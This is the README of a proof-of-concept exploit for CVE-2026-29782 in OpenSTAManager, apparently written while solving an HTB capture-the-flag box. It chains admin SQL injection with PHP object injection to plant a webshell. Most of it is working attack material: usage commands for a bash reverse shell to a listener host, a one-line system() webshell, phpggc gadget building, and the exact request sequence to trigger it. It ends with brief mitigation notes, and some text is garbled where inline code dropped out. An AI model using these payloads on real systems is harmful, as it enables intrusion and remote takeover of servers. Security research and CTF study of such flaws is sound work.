
Proof-of-concept exploit for CVE-2026-29782, chaining SQL injection and PHP object injection to achieve remote code execution in OpenSTAManager. Includes webshell deployment and reverse shell options.
PoC for remote code execution in OpenSTAManager ≤ 2.10.1.
oauth2.php looks up a zz_oauth2 row by the attacker-controlled state GET
parameter and calls unserialize() on its access_token column without an
allowed_classes restriction (Models\OAuth2::checkTokens() /
getAccessToken()). That is a PHP object-injection sink.
By itself it is not exploitable — you cannot place the object. Chained with the unrestricted arbitrary-SQL feature in the Aggiornamenti module (, no query allow-list on the 2.9.x line — ), an authenticated admin can a serialized POP gadget into and then request to detonate it.
op=risolvi-conflitti-databaseGHSA-2fr7-cc4f-wh98INSERTzz_oauth2.access_tokenoauth2.phpauth (admin)
└─ POST /actions.php op=risolvi-conflitti-database ← arbitrary SQL
└─ INSERT gadget blob into zz_oauth2.access_token (keyed by `state`)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ POP gadget __destruct() → file write
└─ GET /<webshell>.php?c=<cmd> ← code execution as the web user
⚠️ Authorised testing only. Published for education, CTF play (written against HTB: Enigma), and defensive research. Running it against systems you do not own or have explicit written permission to test is illegal. No warranty. See LICENSE.
| Product | OpenSTAManager (devcode-it/openstamanager) |
| Object-injection sink | ≤ 2.10.1 — fixed in 2.10.2 (unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| Arbitrary-SQL chain | 2.9.x line (risolvi-conflitti-database gained an allow-list later in 2.10.x) |
| Verified against | 2.9.8, PHP 8.3, MySQL 8.0 |
The 2.9.x tree bundles monolog/monolog ^3.0, so this PoC uses a Monolog 3.x
file-write gadget (phpggc Monolog/FW1) to drop the webshell. That
deliberately avoids depending on system()/exec() being enabled or on which
Laravel components are present.
requests — pip install -r requirements.txtphpggc + php CLI on PATH
(only used to build the gadget; or supply --payload-file with a pre-built blob)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [action]
actions:
--cmd 'id' run one command, print output
--shell dumb interactive prompt
--lhost 10.10.14.5 --lport 4444 bash reverse shell
--drop-only just drop the webshell, print its URL
useful flags:
--module-id 6 Aggiornamenti module id (default 6)
--phpggc ./phpggc/phpggc path to phpggc
--payload-file blob.bin skip phpggc, use a pre-generated Monolog/FW1 blob
--webshell-name name.php filename dropped in the web root
--proxy http://127.0.0.1:8080
--keep leave the injected zz_oauth2 row in place
# prove RCE
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# interactive
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# reverse shell (run `nc -lvnp 4444` first)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
Pre-generating the gadget by hand (equivalent to what the script does):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = ASCII-safe S: string encoding (survives the TEXT column byte-for-byte);
-f = fast-destruct (the object fires immediately after unserialize(), before
OpenSTAManager calls ->hasExpired() on it and throws).
POST /index.php op=login&username=&password= (success = 302
away from index.php).POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-array>. Each element
is passed to $dbo->query(); the 2.9.x branch applies no allow-list. The PoC
appends a CREATE TABLE … / DROP TABLE … pair to force an implicit COMMIT
(the endpoint otherwise leaves writes in an uncommitted transaction). The
handler also echoes MySQL error text, giving an extractvalue() read oracle
(OSM.sql_extract() in the code).INSERT into zz_oauth2 a row with a known state and
access_token = 0x<hex(gadget)>; class is set to the real provider
Modules\Emails\OAuth2\Google.GET /oauth2.php?state=<state>&code=x. configure() calls
needsConfiguration() → getAccessToken() → checkTokens() →
unserialize($this->access_token) with no allowed_classes. The Monolog
gadget's __destruct writes the webshell. Response is HTTP 500 — expected.GET /<webshell>?c=<cmd> → system().unserialize($v, ['allowed_classes' => [AccessToken::class]]) and the
Aggiornamenti SQL runner is allow-listed.modules/aggiornamenti/ to trusted administrators; monitor
zz_oauth2 writes and requests to oauth2.php.Research & PoC while rooting HTB: Enigma.